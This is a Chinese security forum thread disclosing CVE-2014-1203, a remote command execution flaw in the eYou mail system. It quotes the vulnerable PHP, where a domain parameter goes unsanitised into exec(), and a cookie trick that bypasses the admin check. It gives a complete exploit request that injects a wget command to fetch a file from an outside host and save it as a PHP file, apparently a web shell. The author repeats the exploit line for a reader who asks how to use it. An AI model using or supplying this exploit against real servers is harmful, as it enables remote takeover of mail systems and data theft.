查看: 54599|回复: 59

[CVE-2014-1203]亿邮邮件系统远程执行代码

  [复制链接]
发表于 2014-1-9 13:04:09 | 显示全部楼层 |阅读模式
本帖最后由 C4r1st 于 2014-1-9 16:22 编辑

##########################################
#  Title    : 亿邮邮件系统远程执行代码
#
#  Time   : 2014年1月8日
##########################################
Date: Wed, 8 Jan 2014 10:56:21 +0800

亿邮在3.6以下的版本存在一个任意代码执行,漏洞文件存在于
\inc\fuction.php
[AppleScript] 纯文本查看 复制代码
function get_login_ip_config_file($domain, $file) {
    $dir      = '/var/eyou/Domain/'; 
    $dir_mail = exec('/var/eyou/sbin/hashid '.$domain);  //$domain可以自己控制
....
}

继续跟下$domain
存在于\admin\domain\ip_login_set\d_ip_login_get.php
[AppleScript] 纯文本查看 复制代码
<?php
...
require_once('inc/domain.config.php');
//ValidateAdmin();  //不需要登录
$domainname = get_domain(); //Get cookie  
$allow_file = 'web_login_allow_ip';  
$deny_file  = 'web_login_deny_ip';   
$domain     = trim(get('domain')); //$domain from here.
$type       = trim(get('type'));  //Get type
$res = '';
if($domainname !== 'admin' && $domainname !== $domain) { //我们只是需要设置 $cookie=admin 就可以绕过并继续了.
    echo '';
    exit;
}
if($type === 'allow') { //$type any go
    $file = $allow_file;
    $res .= 'ip_allow&';
} elseif($type === 'deny') {
    $file = $deny_file;
    $res .= 'ip_deny&';
} else {
    echo '';
    exit;
}
$file = get_login_ip_config_file($domain, $file);// 调用了get_login_ip_config_file函数
if($file === FALSE) {
    echo $res;
    exit;
}

exp:
[AppleScript] 纯文本查看 复制代码
GET 
/admin/domain/ip_login_set/d_ip_login_get.php?domain=%3Bwget%20[url]http://conqu3r.paxmac.org/exp.txt%3Bcp%20exp.txt%20exp.php&type=allow[/url]
 HTTP/1.1
Host: mail.xxx.com.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie:cookie=admin
Connection: keep-alive

copy to http://seclists.org/fulldisclosure/2014/Jan/32
游客,如果您要查看本帖隐藏内容请回复

评分

参与人数 5人气 +2 i币 +50 贡献 +2 收起 理由
Sinboy + 10 感谢分享
蓝色_ + 10 感谢分享
土豆 + 2 + 10 感谢分享
90_ + 10 + 2 感谢分享
Diana + 10 感谢分享

查看全部评分

回复

使用道具 举报

 楼主| 发表于 2014-1-9 13:08:17 | 显示全部楼层
把EXP位置url标签删除就可以了
164F7E47-579D-4865-87AB-D1F52A0D4CEF.png
回复 支持 反对

使用道具 举报

发表于 2014-1-9 13:40:27 | 显示全部楼层
YY看看哈哈哈哈
回复 支持 反对

使用道具 举报

发表于 2014-1-9 14:58:40 | 显示全部楼层
淼了~ 很强大
回复 支持 反对

使用道具 举报

发表于 2014-1-9 15:02:09 | 显示全部楼层
哟西,又是一个远程执行
回复 支持 反对

使用道具 举报

发表于 2014-1-9 15:25:14 | 显示全部楼层
支持一下
回复 支持 反对

使用道具 举报

发表于 2014-1-9 15:33:54 | 显示全部楼层
回复看看,学习一下!!!
回复 支持 反对

使用道具 举报

发表于 2014-1-9 15:38:47 | 显示全部楼层
谢谢分享
回复 支持 反对

使用道具 举报

发表于 2014-1-9 16:04:26 | 显示全部楼层
怎么利用

点评

/admin/domain/ip_login_set/d_ip_login_get.php?domain=%3Bwget%20http://conqu3r.paxmac.org/exp.txt%3Bcp%20exp.txt%20exp.php&type=allow 这个exp.txt的内容不解释~  详情 回复 发表于 2014-1-9 16:21
回复 支持 反对

使用道具 举报

 楼主| 发表于 2014-1-9 16:21:11 | 显示全部楼层
浩森 发表于 2014-1-9 16:04
怎么利用

/admin/domain/ip_login_set/d_ip_login_get.php?domain=%3Bwget%20http://conqu3r.paxmac.org/exp.tx ... .php&type=allow
这个exp.txt的内容不解释~
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-3-9 08:29 , Processed in 0.031260 second(s), 20 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部